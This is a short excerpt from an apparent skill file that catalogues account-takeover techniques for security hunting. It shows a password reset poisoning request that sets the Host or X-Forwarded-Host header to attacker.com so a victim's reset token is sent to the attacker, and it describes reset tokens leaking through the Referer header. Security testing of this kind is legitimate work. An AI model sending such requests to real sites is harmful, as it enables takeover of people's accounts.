hunt-ato
Installation
SKILL.md
13. ATO — ACCOUNT TAKEOVER TAXONOMY
Path 1: Password Reset Poisoning
POST /forgot-password
Host: attacker.com # or X-Forwarded-Host: attacker.com
email=victim@company.com
# Reset link sent to attacker.com/reset?token=XXXX
Path 2: Reset Token in Referrer Leak
GET /reset-password?token=ABC123
→ page loads: <script src="https://analytics.com/track.js">
→ Referer: https://target.com/reset-password?token=ABC123 sent to analytics